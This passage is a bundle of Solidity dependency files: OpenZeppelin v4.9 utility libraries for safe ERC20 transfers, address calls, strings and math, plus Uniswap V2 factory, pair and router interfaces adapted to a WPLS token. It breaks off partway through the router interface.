contracts/@openzeppelin/token/ERC20/utils/SafeERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";
// import "../extensions/IERC20Permit.sol";
import "../../../utils/Address.sol";

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using Address for address;

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    /**
     * @dev Deprecated. This function has issues similar to the ones found in
     * {IERC20-approve}, and its usage is discouraged.
     *
     * Whenever possible, use {safeIncreaseAllowance} and
     * {safeDecreaseAllowance} instead.
     */
    function safeApprove(IERC20 token, address spender, uint256 value) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0)
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(oldAllowance >= value);
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
            _callOptionalReturn(token, approvalCall);
        }
    }

    /**
     * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.
     * Revert on invalid signature.
     */
    // function safePermit(
    //     IERC20Permit token,
    //     address owner,
    //     address spender,
    //     uint256 value,
    //     uint256 deadline,
    //     uint8 v,
    //     bytes32 r,
    //     bytes32 s
    // ) internal {
    //     uint256 nonceBefore = token.nonces(owner);
    //     token.permit(owner, spender, value, deadline, v, r, s);
    //     uint256 nonceAfter = token.nonces(owner);
    //     require(nonceAfter == nonceBefore + 1);
    // }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data);
        require(returndata.length == 0 || abi.decode(returndata, (bool)));
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.
     */
    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false
        // and not revert is the subcall reverts.

        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));
    }
}
          

contracts/@openzeppelin/utils/Address.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount);

        (bool success, ) = recipient.call{value: amount}("");
        require(success);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value);
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target));
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}
          

contracts/@openzeppelin/utils/Context.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
          

contracts/@openzeppelin/utils/Strings.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)

pragma solidity ^0.8.0;

import "./math/Math.sol";
import "./math/SignedMath.sol";

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toString(int256 value) internal pure returns (string memory) {
        return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0);
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }
}
          

contracts/@openzeppelin/utils/introspection/ERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;

import "./IERC165.sol";

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}
          

contracts/@openzeppelin/utils/introspection/IERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
          

contracts/@openzeppelin/utils/math/Math.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1);

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}
          

contracts/@openzeppelin/utils/math/SignedMath.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}
          

contracts/@uniswap/v2-core/interfaces/IUniswapV2Factory.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
          

contracts/@uniswap/v2-core/interfaces/IUniswapV2Pair.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
          

contracts/@uniswap/v2-periphery/interfaces/IUniswapV2Router01.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    // function WETH() external pure returns (address);
    function WPLS() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
